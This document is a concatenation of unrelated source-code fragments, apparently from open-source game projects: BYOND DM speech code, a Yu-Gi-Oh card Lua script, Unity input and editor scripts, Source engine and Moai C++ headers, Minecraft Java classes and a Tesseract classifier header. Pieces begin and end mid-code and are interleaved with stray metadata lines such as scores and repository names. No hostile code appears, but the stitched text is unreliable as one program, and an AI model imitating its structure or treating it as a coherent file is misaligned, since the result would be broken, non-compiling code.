list/message_mods = list(), list/spans, language) //Polly has a copy of this, lazy bastard . = ..() if(. != FALSE) return . if(message_mods[MODE_HEADSET]) if(ears) ears.talk_into(src, message, , spans, language, message_mods) return ITALICS | REDUCE_RANGE else if(message_mods[RADIO_EXTENSION] == MODE_DEPARTMENT) if(ears) ears.talk_into(src, message, message_mods[RADIO_EXTENSION], spans, language, message_mods) return ITALICS | REDUCE_RANGE else if(GLOB.radiochannels[message_mods[RADIO_EXTENSION]]) if(ears) ears.talk_into(src, message, message_mods[RADIO_EXTENSION], spans, language, message_mods) return ITALICS | REDUCE_RANGE return 0 /mob/living/carbon/human/get_alt_name() if(name != GetVoice()) return " (as [get_id_name("Unknown")])"\
0
0.807127
1
0.807127
game-dev
MEDIA
0.873957
game-dev
0.907803
1
0.907803
ProjectIgnis/CardScripts
2,099
official/c80538047.lua
--絢嵐たるスエン --Radiant Typhoon Swen --scripted by Naim local s,id=GetID() function s.initial_effect(c) --If you have "Mystical Space Typhoon" in your GY, or your opponent controls no Spells/Traps, you can Special Summon this card (from your hand) local e1=Effect.CreateEffect(c) e1:SetDescription(aux.Stringid(id,0)) e1:SetType(EFFECT_TYPE_FIELD) e1:SetProperty(EFFECT_FLAG_UNCOPYABLE) e1:SetCode(EFFECT_SPSUMMON_PROC) e1:SetRange(LOCATION_HAND) e1:SetCountLimit(1,id,EFFECT_COUNT_CODE_OATH) e1:SetCondition(s.selfspcon) c:RegisterEffect(e1) --Add 1 "Radiant Typhoon" Spell/Trap or 1 "Mystical Space Typhoon" from your Deck to your hand local e2a=Effect.CreateEffect(c) e2a:SetDescription(aux.Stringid(id,1)) e2a:SetCategory(CATEGORY_TOHAND+CATEGORY_SEARCH) e2a:SetType(EFFECT_TYPE_SINGLE+EFFECT_TYPE_TRIGGER_O) e2a:SetProperty(EFFECT_FLAG_DELAY) e2a:SetCode(EVENT_SUMMON_SUCCESS) e2a:SetCountLimit(1,{id,1}) e2a:SetTarget(s.thtg) e2a:SetOperation(s.thop) c:RegisterEffect(e2a) local e2b=e2a:Clone() e2b:SetCode(EVENT_SPSUMMON_SUCCESS) c:RegisterEffect(e2b) end s.listed_series={SET_RADIANT_TYPHOON} s.listed_names={CARD_MYSTICAL_SPACE_TYPHOON} function s.selfspcon(e,c) if c==nil then return true end local tp=c:GetControler() return Duel.GetLocationCount(tp,LOCATION_MZONE)>0 and (Duel.IsExistingMatchingCard(Card.IsCode,tp,LOCATION_GRAVE,0,1,nil,CARD_MYSTICAL_SPACE_TYPHOON) or not Duel.IsExistingMatchingCard(Card.IsSpellTrap,tp,0,LOCATION_ONFIELD,1,nil)) end function s.thfilter(c) return ((c:IsSetCard(SET_RADIANT_TYPHOON) and c:IsSpellTrap()) or c:IsCode(CARD_MYSTICAL_SPACE_TYPHOON)) and c:IsAbleToHand() end function s.thtg(e,tp,eg,ep,ev,re,r,rp,chk) if chk==0 then return Duel.IsExistingMatchingCard(s.thfilter,tp,LOCATION_DECK,0,1,nil) end Duel.SetOperationInfo(0,CATEGORY_TOHAND,nil,1,tp,LOCATION_DECK) end function s.thop(e,tp,eg,ep,ev,re,r,rp) Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_ATOHAND) local g=Duel.SelectMatchingCard(tp,s.thfilter,tp,LOCATION_DECK,0,1,1,nil) if #g>0 then Duel.SendtoHand(g,nil,REASON_EFFECT) Duel.ConfirmCards(1-tp,g) end end
0
0.930785
1
0.930785
game-dev
MEDIA
0.974892
game-dev
0.985419
1
0.985419
IndieVisualLab/UnityGraphicsProgramming3
4,468
Assets/Standard Assets/CrossPlatformInput/Scripts/TiltInput.cs
using System; using UnityEngine; #if UNITY_EDITOR using UnityEditor; #endif namespace UnityStandardAssets.CrossPlatformInput { // helps with managing tilt input on mobile devices public class TiltInput : MonoBehaviour { // options for the various orientations public enum AxisOptions { ForwardAxis, SidewaysAxis, } [Serializable] public class AxisMapping { public enum MappingType { NamedAxis, MousePositionX, MousePositionY, MousePositionZ }; public MappingType type; public string axisName; } public AxisMapping mapping; public AxisOptions tiltAroundAxis = AxisOptions.ForwardAxis; public float fullTiltAngle = 25; public float centreAngleOffset = 0; private CrossPlatformInputManager.VirtualAxis m_SteerAxis; private void OnEnable() { if (mapping.type == AxisMapping.MappingType.NamedAxis) { m_SteerAxis = new CrossPlatformInputManager.VirtualAxis(mapping.axisName); CrossPlatformInputManager.RegisterVirtualAxis(m_SteerAxis); } } private void Update() { float angle = 0; if (Input.acceleration != Vector3.zero) { switch (tiltAroundAxis) { case AxisOptions.ForwardAxis: angle = Mathf.Atan2(Input.acceleration.x, -Input.acceleration.y)*Mathf.Rad2Deg + centreAngleOffset; break; case AxisOptions.SidewaysAxis: angle = Mathf.Atan2(Input.acceleration.z, -Input.acceleration.y)*Mathf.Rad2Deg + centreAngleOffset; break; } } float axisValue = Mathf.InverseLerp(-fullTiltAngle, fullTiltAngle, angle)*2 - 1; switch (mapping.type) { case AxisMapping.MappingType.NamedAxis: m_SteerAxis.Update(axisValue); break; case AxisMapping.MappingType.MousePositionX: CrossPlatformInputManager.SetVirtualMousePositionX(axisValue*Screen.width); break; case AxisMapping.MappingType.MousePositionY: CrossPlatformInputManager.SetVirtualMousePositionY(axisValue*Screen.width); break; case AxisMapping.MappingType.MousePositionZ: CrossPlatformInputManager.SetVirtualMousePositionZ(axisValue*Screen.width); break; } } private void OnDisable() { m_SteerAxis.Remove(); } } } namespace UnityStandardAssets.CrossPlatformInput.Inspector { #if UNITY_EDITOR [CustomPropertyDrawer(typeof (TiltInput.AxisMapping))] public class TiltInputAxisStylePropertyDrawer : PropertyDrawer { public override void OnGUI(Rect position, SerializedProperty property, GUIContent label) { EditorGUI.BeginProperty(position, label, property); float x = position.x; float y = position.y; float inspectorWidth = position.width; // Don't make child fields be indented var indent = EditorGUI.indentLevel; EditorGUI.indentLevel = 0; var props = new[] {"type", "axisName"}; var widths = new[] {.4f, .6f}; if (property.FindPropertyRelative("type").enumValueIndex > 0) { // hide name if not a named axis props = new[] {"type"}; widths = new[] {1f}; } const float lineHeight = 18; for (int n = 0; n < props.Length; ++n) { float w = widths[n]*inspectorWidth; // Calculate rects Rect rect = new Rect(x, y, w, lineHeight); x += w; EditorGUI.PropertyField(rect, property.FindPropertyRelative(props[n]), GUIContent.none); } // Set indent back to what it was EditorGUI.indentLevel = indent; EditorGUI.EndProperty(); } } #endif }
0
0.871103
1
0.871103
game-dev
MEDIA
0.715931
game-dev
0.983456
1
0.983456
SonicEraZoR/Portal-Base
3,868
sp/src/game/server/ai_basenpc_flyer.h
//========= Copyright Valve Corporation, All rights reserved. ============// // // Purpose: // // $NoKeywords: $ //=============================================================================// #ifndef AI_BASENPC_FLYER_H #define AI_BASENPC_FLYER_H #ifdef _WIN32 #pragma once #endif #include "ai_basenpc.h" #include "ai_navigator.h" //----------------------------------------------------------------------------- // The combot. //----------------------------------------------------------------------------- abstract_class CAI_BaseFlyingBot : public CAI_BaseNPC { DECLARE_CLASS( CAI_BaseFlyingBot, CAI_BaseNPC ); public: DECLARE_DATADESC(); void StartTask( const Task_t *pTask ); void GetVelocity(Vector *vVelocity, AngularImpulse *vAngVelocity); virtual QAngle BodyAngles(); protected: CAI_BaseFlyingBot(); Vector VelocityToAvoidObstacles(float flInterval); virtual float MinGroundDist(void); void TurnHeadToTarget( float flInterval, const Vector &moveTarget ); void MoveInDirection( float flInterval, const Vector &targetDir, float accelXY, float accelZ, float decay) { decay = ExponentialDecay( decay, 1.0, flInterval ); accelXY *= flInterval; accelZ *= flInterval; m_vCurrentVelocity.x = ( decay * m_vCurrentVelocity.x + accelXY * targetDir.x ); m_vCurrentVelocity.y = ( decay * m_vCurrentVelocity.y + accelXY * targetDir.y ); m_vCurrentVelocity.z = ( decay * m_vCurrentVelocity.z + accelZ * targetDir.z ); } void MoveToLocation( float flInterval, const Vector &target, float accelXY, float accelZ, float decay) { Vector targetDir = target - GetLocalOrigin(); VectorNormalize(targetDir); MoveInDirection(flInterval, targetDir, accelXY, accelZ, decay); } void Decelerate( float flInterval, float decay ) { decay *= flInterval; m_vCurrentVelocity.x = (decay * m_vCurrentVelocity.x); m_vCurrentVelocity.y = (decay * m_vCurrentVelocity.y); m_vCurrentVelocity.z = (decay * m_vCurrentVelocity.z); } void AddNoiseToVelocity( float noiseScale = 1.0 ) { if( m_vNoiseMod.x ) { m_vCurrentVelocity.x += noiseScale*sin(m_vNoiseMod.x * gpGlobals->curtime + m_vNoiseMod.x); } if( m_vNoiseMod.y ) { m_vCurrentVelocity.y += noiseScale*cos(m_vNoiseMod.y * gpGlobals->curtime + m_vNoiseMod.y); } if( m_vNoiseMod.z ) { m_vCurrentVelocity.z -= noiseScale*cos(m_vNoiseMod.z * gpGlobals->curtime + m_vNoiseMod.z); } } void LimitSpeed( float zLimit, float maxSpeed = -1 ) { if ( maxSpeed == -1 ) maxSpeed = m_flSpeed; if (m_vCurrentVelocity.Length() > maxSpeed) { VectorNormalize(m_vCurrentVelocity); m_vCurrentVelocity *= maxSpeed; } // Limit fall speed if (zLimit > 0 && m_vCurrentVelocity.z < -zLimit) { m_vCurrentVelocity.z = -zLimit; } } AI_NavPathProgress_t ProgressFlyPath( float flInterval, const CBaseEntity *pNewTarget, unsigned collisionMask, bool bNewTrySimplify = true, float strictPointTolerance = 32.0 ); virtual float GetHeadTurnRate( void ) { return 15.0f; } // Degrees per second const Vector &GetCurrentVelocity() const { return m_vCurrentVelocity; } void SetCurrentVelocity(const Vector &vNewVel) { m_vCurrentVelocity = vNewVel; } const Vector &GetNoiseMod() const { return m_vNoiseMod; } void SetNoiseMod( float x, float y, float z ) { m_vNoiseMod.Init( x, y, z ); } void SetNoiseMod( const Vector &noise ) { m_vNoiseMod = noise; } virtual void MoveToTarget(float flInterval, const Vector &MoveTarget) = 0; void TranslateNavGoal( CBaseEntity *pTarget, Vector &chasePosition ); // ------------------------------- // Movement vars // ------------------------------- Vector m_vCurrentVelocity; Vector m_vCurrentAngularVelocity; Vector m_vCurrentBanking; Vector m_vNoiseMod; float m_fHeadYaw; Vector m_vLastPatrolDir; }; #endif // AI_BASENPC_FLYER_H
0
0.823773
1
0.823773
game-dev
MEDIA
0.918032
game-dev
0.827379
1
0.827379
Wynntils/Wynntils
2,391
common/src/main/java/com/wynntils/models/items/annotators/gui/CharacterAnnotator.java
/* * Copyright © Wynntils 2024-2025. * This file is released under LGPLv3. See LICENSE for full license details. */ package com.wynntils.models.items.annotators.gui; import com.wynntils.core.text.StyledText; import com.wynntils.handlers.item.GuiItemAnnotator; import com.wynntils.handlers.item.ItemAnnotation; import com.wynntils.models.character.type.ClassType; import com.wynntils.models.items.items.gui.CharacterItem; import com.wynntils.utils.mc.LoreUtils; import java.util.regex.Matcher; import java.util.regex.Pattern; import net.minecraft.world.item.ItemStack; public class CharacterAnnotator implements GuiItemAnnotator { private static final Pattern CHARACTER_MENU_NAME_PATTERN = Pattern.compile("[\uDB00\uDC0B-\uDB00\uDC46]§6(§o)?(?<name>[A-Za-z0-9_ ]{1,20})"); // Test in CharacterAnnotator_CHARACTER_MENU_CLASS_PATTERN private static final Pattern CHARACTER_MENU_CLASS_PATTERN = Pattern.compile("§6- §7Class:(?: (?<gamemodes>§.[\uE027\uE083\uE026\uE029\uE028])+§7)? §f(?<class>.+)"); // Test in CharacterAnnotator_CHARACTER_MENU_LEVEL_PATTERN private static final Pattern CHARACTER_MENU_LEVEL_PATTERN = Pattern.compile("§6- §7Level: §f(?<level>\\d+)§7 §8\\(\\d+(?:\\.\\d+)?%\\)"); @Override public ItemAnnotation getAnnotation(ItemStack itemStack, StyledText name) { Matcher matcher = StyledText.fromComponent(itemStack.getHoverName()).getMatcher(CHARACTER_MENU_NAME_PATTERN); if (!matcher.matches()) return null; String className = matcher.group("name"); int level = 0; ClassType classType = null; boolean reskinned = false; for (StyledText lore : LoreUtils.getLore(itemStack)) { Matcher classMatcher = lore.getMatcher(CHARACTER_MENU_CLASS_PATTERN); if (classMatcher.matches()) { classType = ClassType.fromName(classMatcher.group("class")); reskinned = ClassType.isReskinned(classMatcher.group("class")); } Matcher levelMatcher = lore.getMatcher(CHARACTER_MENU_LEVEL_PATTERN); if (levelMatcher.matches()) { level = Integer.parseInt(levelMatcher.group(1)); } } if (classType == null || classType == ClassType.NONE) return null; return new CharacterItem(className, level, classType, reskinned); } }
0
0.930865
1
0.930865
game-dev
MEDIA
0.879569
game-dev
0.961933
1
0.961933
TerraByteDev/SkyFactionsReborn
2,267
common/src/main/java/net/skullian/skyfactions/common/gui/screens/confirmation/FactionLeaveConfirmationUI.java
package net.skullian.skyfactions.common.gui.screens.confirmation; import lombok.Builder; import net.skullian.skyfactions.common.api.GUIAPI; import net.skullian.skyfactions.common.api.SkyApi; import net.skullian.skyfactions.common.config.types.GUIEnums; import net.skullian.skyfactions.common.config.types.Messages; import net.skullian.skyfactions.common.gui.data.ItemData; import net.skullian.skyfactions.common.gui.items.EmptyItem; import net.skullian.skyfactions.common.gui.items.GeneralCancelItem; import net.skullian.skyfactions.common.gui.items.faction_leave.LeaveConfirmationItem; import net.skullian.skyfactions.common.gui.items.impl.BaseSkyItem; import net.skullian.skyfactions.common.gui.screens.Screen; import net.skullian.skyfactions.common.user.SkyUser; import net.skullian.skyfactions.common.util.SLogger; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.Locale; public class FactionLeaveConfirmationUI extends Screen { @Builder public FactionLeaveConfirmationUI(SkyUser player) { super(GUIEnums.FACTION_LEAVE_GUI.getPath(), player); } public static void promptPlayer(SkyUser player) { try { FactionLeaveConfirmationUI.builder().player(player).build().show(); } catch (IllegalArgumentException error) { SLogger.fatal("Failed to create Faction Leave Confirmation GUI for player {} - {}", player.getUniqueId(), error); Messages.ERROR.send(player, SkyApi.getInstance().getPlayerAPI().getLocale(player.getUniqueId()), "operation", "leave your faction", "debug", "GUI_LOAD_EXCEPTION"); } } @Nullable @Override public BaseSkyItem handleItem(@NotNull ItemData itemData) { return switch (itemData.getITEM_ID().toLowerCase(Locale.ROOT)) { case "prompt", "border" -> new EmptyItem(itemData, GUIAPI.createItem(itemData, player.getUniqueId()), player); case "confirm" -> new LeaveConfirmationItem(itemData, GUIAPI.createItem(itemData, player.getUniqueId()), player); case "cancel" -> new GeneralCancelItem(itemData, GUIAPI.createItem(itemData, player.getUniqueId()), player); default -> null; }; } }
0
0.908834
1
0.908834
game-dev
MEDIA
0.878089
game-dev
0.905063
1
0.905063
shxzu/Simp
4,878
src/main/java/net/minecraft/block/BlockRedstoneOre.java
package net.minecraft.block; import java.util.Random; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.Entity; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.init.Items; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.BlockPos; import net.minecraft.util.EnumFacing; import net.minecraft.util.EnumParticleTypes; import net.minecraft.world.World; public class BlockRedstoneOre extends Block { private final boolean isOn; public BlockRedstoneOre(boolean isOn) { super(Material.rock); if (isOn) { this.setTickRandomly(true); } this.isOn = isOn; } public int tickRate(World worldIn) { return 30; } public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn) { this.activate(worldIn, pos); super.onBlockClicked(worldIn, pos, playerIn); } public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, Entity entityIn) { this.activate(worldIn, pos); super.onEntityCollidedWithBlock(worldIn, pos, entityIn); } public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ) { this.activate(worldIn, pos); return super.onBlockActivated(worldIn, pos, state, playerIn, side, hitX, hitY, hitZ); } private void activate(World worldIn, BlockPos pos) { this.spawnParticles(worldIn, pos); if (this == Blocks.redstone_ore) { worldIn.setBlockState(pos, Blocks.lit_redstone_ore.getDefaultState()); } } public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand) { if (this == Blocks.lit_redstone_ore) { worldIn.setBlockState(pos, Blocks.redstone_ore.getDefaultState()); } } public Item getItemDropped(IBlockState state, Random rand, int fortune) { return Items.redstone; } public int quantityDroppedWithBonus(int fortune, Random random) { return this.quantityDropped(random) + random.nextInt(fortune + 1); } public int quantityDropped(Random random) { return 4 + random.nextInt(2); } public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune) { super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune); if (this.getItemDropped(state, worldIn.rand, fortune) != Item.getItemFromBlock(this)) { int i = 1 + worldIn.rand.nextInt(5); this.dropXpOnBlockBreak(worldIn, pos, i); } } public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand) { if (this.isOn) { this.spawnParticles(worldIn, pos); } } private void spawnParticles(World worldIn, BlockPos pos) { Random random = worldIn.rand; double d0 = 0.0625D; for (int i = 0; i < 6; ++i) { double d1 = (float)pos.getX() + random.nextFloat(); double d2 = (float)pos.getY() + random.nextFloat(); double d3 = (float)pos.getZ() + random.nextFloat(); if (i == 0 && !worldIn.getBlockState(pos.up()).getBlock().isOpaqueCube()) { d2 = (double)pos.getY() + d0 + 1.0D; } if (i == 1 && !worldIn.getBlockState(pos.down()).getBlock().isOpaqueCube()) { d2 = (double)pos.getY() - d0; } if (i == 2 && !worldIn.getBlockState(pos.south()).getBlock().isOpaqueCube()) { d3 = (double)pos.getZ() + d0 + 1.0D; } if (i == 3 && !worldIn.getBlockState(pos.north()).getBlock().isOpaqueCube()) { d3 = (double)pos.getZ() - d0; } if (i == 4 && !worldIn.getBlockState(pos.east()).getBlock().isOpaqueCube()) { d1 = (double)pos.getX() + d0 + 1.0D; } if (i == 5 && !worldIn.getBlockState(pos.west()).getBlock().isOpaqueCube()) { d1 = (double)pos.getX() - d0; } if (d1 < (double)pos.getX() || d1 > (double)(pos.getX() + 1) || d2 < 0.0D || d2 > (double)(pos.getY() + 1) || d3 < (double)pos.getZ() || d3 > (double)(pos.getZ() + 1)) { worldIn.spawnParticle(EnumParticleTypes.REDSTONE, d1, d2, d3, 0.0D, 0.0D, 0.0D); } } } protected ItemStack createStackedBlock(IBlockState state) { return new ItemStack(Blocks.redstone_ore); } }
0
0.908755
1
0.908755
game-dev
MEDIA
0.99792
game-dev
0.87994
1
0.87994
artetxem/mitzuli
3,161
libraries/tesseract-android-tools/src/main/native/com_googlecode_tesseract_android/src/cube/classifier_base.h
/********************************************************************** * File: classifier_base.h * Description: Declaration of the Base Character Classifier * Author: Ahmad Abdulkader * Created: 2007 * * (C) Copyright 2008, Google Inc. ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** http://www.apache.org/licenses/LICENSE-2.0 ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. * **********************************************************************/ // The CharClassifier class is the abstract class for any character/grapheme // classifier. #ifndef CHAR_CLASSIFIER_BASE_H #define CHAR_CLASSIFIER_BASE_H #include <string> #include "char_samp.h" #include "char_altlist.h" #include "char_set.h" #include "feature_base.h" #include "lang_model.h" #include "tuning_params.h" namespace tesseract { class CharClassifier { public: CharClassifier(CharSet *char_set, TuningParams *params, FeatureBase *feat_extract) { char_set_ = char_set; params_ = params; feat_extract_ = feat_extract; fold_sets_ = NULL; fold_set_cnt_ = 0; fold_set_len_ = NULL; init_ = false; case_sensitive_ = true; } virtual ~CharClassifier() { if (fold_sets_ != NULL) { for (int fold_set = 0; fold_set < fold_set_cnt_; fold_set++) { if (fold_sets_[fold_set] != NULL) { delete []fold_sets_[fold_set]; } } delete []fold_sets_; fold_sets_ = NULL; } if (fold_set_len_ != NULL) { delete []fold_set_len_; fold_set_len_ = NULL; } if (feat_extract_ != NULL) { delete feat_extract_; feat_extract_ = NULL; } } // pure virtual functions that need to be implemented by any inheriting class virtual CharAltList * Classify(CharSamp *char_samp) = 0; virtual int CharCost(CharSamp *char_samp) = 0; virtual bool Train(CharSamp *char_samp, int ClassID) = 0; virtual bool SetLearnParam(char *var_name, float val) = 0; virtual bool Init(const string &data_file_path, const string &lang, LangModel *lang_mod) = 0; // accessors FeatureBase *FeatureExtractor() {return feat_extract_;} inline bool CaseSensitive() const { return case_sensitive_; } inline void SetCaseSensitive(bool case_sensitive) { case_sensitive_ = case_sensitive; } protected: virtual void Fold() = 0; virtual bool LoadFoldingSets(const string &data_file_path, const string &lang, LangModel *lang_mod) = 0; FeatureBase *feat_extract_; CharSet *char_set_; TuningParams *params_; int **fold_sets_; int *fold_set_len_; int fold_set_cnt_; bool init_; bool case_sensitive_; }; } // tesseract #endif // CHAR_CLASSIFIER_BASE_H
0
0.962904
1
0.962904
game-dev
MEDIA
0.353865
game-dev
0.686529
1
0.686529
iSach/UltraCosmetics
1,761
core/src/main/java/be/isach/ultracosmetics/cosmetics/mounts/MountDruggedHorse.java
package be.isach.ultracosmetics.cosmetics.mounts; import be.isach.ultracosmetics.UltraCosmetics; import be.isach.ultracosmetics.cosmetics.type.MountType; import be.isach.ultracosmetics.player.UltraPlayer; import be.isach.ultracosmetics.util.Particles; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Horse; import org.bukkit.entity.Player; import org.bukkit.potion.PotionEffect; import org.bukkit.potion.PotionEffectType; /** * Created by sacha on 10/08/15. */ public class MountDruggedHorse extends MountHorse { private Player effectPlayer; public MountDruggedHorse(UltraPlayer owner, UltraCosmetics ultraCosmetics) { super(owner, MountType.valueOf("druggedhorse"), ultraCosmetics); } @Override public void setupEntity() { super.setupEntity(); ((Horse)getEntity()).setJumpStrength(1.3); Bukkit.getScheduler().runTaskLater(getUltraCosmetics(), () -> { getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.CONFUSION, 10000000, 1)); effectPlayer = getPlayer(); }, 1); } @Override public void onUpdate() { Location loc = entity.getLocation().add(0, 1, 0); Particles.FIREWORKS_SPARK.display(0.4f, 0.2f, 0.4f, loc, 5); Particles.SPELL.display(0.4f, 0.2f, 0.4f, loc, 5); Particles.SPELL_MOB_AMBIENT.display(0.4f, 0.2f, 0.4f, loc, 5); Particles.SPELL_MOB.display(5, 255, 0, loc); } @Override protected void onClear() { if (effectPlayer != null) { effectPlayer.removePotionEffect(PotionEffectType.CONFUSION); } super.onClear(); } @Override protected Horse.Color getColor() { return Horse.Color.CHESTNUT; } }
0
0.793508
1
0.793508
game-dev
MEDIA
0.980749
game-dev
0.940196
1
0.940196
StinkySteak/unity-netcode-benchmark
1,680
fishnet/Assets/FishNet/Plugins/GameKit/Utilities/Types/ScrollbarValueSetter.cs
using UnityEngine; using UnityEngine.UI; namespace GameKit.Utilities.Types { /// <summary> /// Forces a scroolbar to a value over multiple frames. /// Often scrollbars will not stay at the right value when a recttransform is redrawn; this solves that problem. /// </summary> public class ScrollbarValueSetter { /// <summary> /// Scrollbar to fix. /// </summary> private Scrollbar _scrollBar; /// <summary> /// Value to set scrollbar at. /// </summary> private float _value; /// <summary> /// Frame when value was updated. /// </summary> private int _updatedFrame = -1; /// <summary> /// Number of frames to wait before fixing. /// </summary> private int _fixFrames; public ScrollbarValueSetter(Scrollbar sb, int fixFrames = 2) { _scrollBar = sb; _fixFrames = fixFrames; } /// <summary> /// Sets value of the scrollbar. /// </summary> /// <param name="value"></param> public void SetValue(float value) { _scrollBar.value = value; _value = value; _updatedFrame = Time.frameCount; } /// <summary> /// Checks to fix scrollbar value. Should be called every frame. /// </summary> public void LateUpdate() { if (_updatedFrame == -1) return; if ((Time.frameCount - _updatedFrame) < _fixFrames) return; _updatedFrame = -1; _scrollBar.value = _value; } } }
0
0.833006
1
0.833006
game-dev
MEDIA
0.288019
game-dev
0.766384
1
0.766384
moai/moai-dev
2,422
src/moai-sim/MOAILayoutFrame.h
// Copyright (c) 2010-2017 Zipline Games, Inc. All Rights Reserved. // http://getmoai.com #ifndef MOAILAYOUTFRAME_H #define MOAILAYOUTFRAME_H #include <moai-sim/MOAITransform.h> //================================================================// // MOAILayoutFrame //================================================================// /** @brief Frame object for hierarchical, resizable layouts and auto-fitting. (Temporarily disabled). */ class MOAILayoutFrame : public MOAITransform { private: enum { LAYOUT_ALIGN_MIN = 1 << 0x00, LAYOUT_ALIGN_MAX = 1 << 0x01, LAYOUT_ALIGN_CENTER = 1 << 0x02, LAYOUT_JUSTIFY_MIN = 1 << 0x03, LAYOUT_JUSTIFY_MAX = 1 << 0x04, LAYOUT_JUSTIFY_CENTER = 1 << 0x05, LAYOUT_ALIGN = 0x00000007, LAYOUT_JUSTIFY = 0x00000038, }; enum { FIT_EXPAND, FIT_ABSOLUTE, FIT_CONTENT, }; enum { X_AXIS = 0, Y_AXIS = 1, MIN = 0, MAX = 1, }; typedef ZLLeanLink < MOAILayoutFrame* > ChildLink; ZLLeanList < MOAILayoutFrame* > mChildren; ZLLeanLink < MOAILayoutFrame* > mLinkInChildren; u32 mLayout [ 2 ]; u32 mFit [ 2 ]; float mWeight [ 2 ]; float mContentSize [ 2 ]; float mIdealSize [ 2 ]; float mSize [ 2 ]; float mMargin [ 2 ][ 2 ]; //----------------------------------------------------------------// static int _layout ( lua_State* L ); static int _setFit ( lua_State* L ); static int _setIdealSize ( lua_State* L ); static int _setLayout ( lua_State* L ); static int _setMargin ( lua_State* L ); static int _setWeight ( lua_State* L ); //----------------------------------------------------------------// void ComputeContentSize ( u32 axis ); void Fit ( u32 axis ); float GetInnerSize ( u32 axis ); MOAILayoutFrame* GetParentWidget (); u32 GetPerpAxis ( u32 axis ); float GetSize ( u32 axis ); void Layout (); void Layout ( u32 axis ); void RemoveChildren (); void SetLocByAxis ( u32 axis, float loc ); public: DECL_LUA_FACTORY ( MOAILayoutFrame ) //----------------------------------------------------------------// ZLRect GetFrame (); ZLRect GetScissorRect (); MOAILayoutFrame (); ~MOAILayoutFrame (); void RegisterLuaClass ( MOAILuaState& state ); void RegisterLuaFuncs ( MOAILuaState& state ); void SetParent ( MOAITransformBase* parent ); }; #endif
0
0.882197
1
0.882197
game-dev
MEDIA
0.587629
game-dev,graphics-rendering
0.889089
1
0.889089
luoyikun/ThunderFireUXTool-UGUI
27,700
Assets/UXTools/Editor/Tools/_InHouse/Window_Custom/ReferenceFinder/ReferenceFinderWindow.cs
#if UNITY_EDITOR using System.Collections.Generic; using System.IO; using UnityEditor; using UnityEngine; using UnityEditor.IMGUI.Controls; using System.Text; namespace ThunderFireUITool { public class ReferenceInfo : EditorWindow { //依赖模式的key const string isDependPrefKey = "ReferenceFinderData_IsDepend"; public static ReferenceFinderData data = new ReferenceFinderData(); private static bool initializedData = false; public bool needUpdateState = true; public bool needUpdateAssetTree = false; //更新排序不更新树时,不需要更新信息 public bool needUpdateAssetTreeMessage = false; private bool initializedGUIStyle = false; //工具栏按钮样式 private GUIStyle toolbarButtonGUIStyle; //工具栏样式 private GUIStyle toolbarGUIStyle; //选中资源列表 public List<string> selectedAssetGuid = new List<string>(); public AssetTreeView m_AssetTreeView; [SerializeField] private TreeViewState m_TreeViewState; public static List<Transform> referenceGoTransList = new List<Transform>(); private string docUrl = "https://confluence.leihuo.netease.com/pages/viewpage.action?pageId=21214849"; //查找选中资源引用信息 [MenuItem("Assets/==查找资源的引用== (Find Reference)", false, -801)] static void FindRef() { InitDataIfNeeded(); OpenWindow(); ReferenceInfo window = GetWindow<ReferenceInfo>(); window.UpdateSelectedAssets(); } //查找所有资源引用信息 [MenuItem(ThunderFireUIToolConfig.Menu_ResourceCheck + "/查找引用 (Find Reference)", false, ThunderFireUIToolConfig.Menu_ResourceCheckIndex + 3)] static void FindAllRef() { InitDataIfNeeded(); OpenWindow(); ReferenceInfo window = GetWindow<ReferenceInfo>(); window.UpdateSelectedAsset("Assets/"); } //[MenuItem("ThunderFireUXTool/查找UIPrefab的嵌套关系", false, 172)] public static void ExportNestedPrefabInfo() { InitDataIfNeeded(); OpenWindow(); ReferenceInfo window = GetWindow<ReferenceInfo>(); window.UpdateSelectedUIPrefabs(); } static void OpenWindow() { ReferenceInfo window = GetWindow<ReferenceInfo>(); window.wantsMouseMove = false; window.titleContent = new GUIContent("查找引用"); window.Show(); window.Focus(); SortHelper.Init(); UXToolAnalysis.SendUXToolLog(UXToolAnalysisLog.ResourceCheck); } private void OnEnable() { //var isDepend = PlayerPrefs.GetInt(isDependPrefKey, 0) == 1; m_AssetTreeView = EditorUIUtils.CreateTreeView<AssetTreeView, AssetDescription>(); EditorApplication.hierarchyWindowItemOnGUI += HandleHierarchyWindowItemOnGUI; } private void OnDisable() { referenceGoTransList.Clear(); EditorApplication.hierarchyWindowItemOnGUI -= HandleHierarchyWindowItemOnGUI; } static void HandleHierarchyWindowItemOnGUI(int instanceID, Rect selectionRect) { var hierarchyReferenceStyle = new GUIStyle() { padding = { left = EditorStyles.label.padding.left + 1, top = EditorStyles.label.padding.top + 1 }, normal = { textColor = Color.yellow } }; GameObject obj = EditorUtility.InstanceIDToObject(instanceID) as GameObject; if (obj != null) { if (referenceGoTransList.Contains(obj.transform)) { EditorGUI.DrawRect(selectionRect, Color.grey); // 绘制背景矩形 GUI.Label(selectionRect, obj.name, hierarchyReferenceStyle); } } } //初始化数据 static void InitDataIfNeeded() { if (!initializedData) { //初始化数据 if (!data.ReadFromCache()) { data.CollectDependenciesInfo(); } initializedData = true; } } //初始化GUIStyle void InitGUIStyleIfNeeded() { if (!initializedGUIStyle) { toolbarButtonGUIStyle = new GUIStyle("ToolbarButton"); toolbarGUIStyle = new GUIStyle("Toolbar"); initializedGUIStyle = true; } } private void UpdateSelectedAsset(string path, string searchFilter = null) { 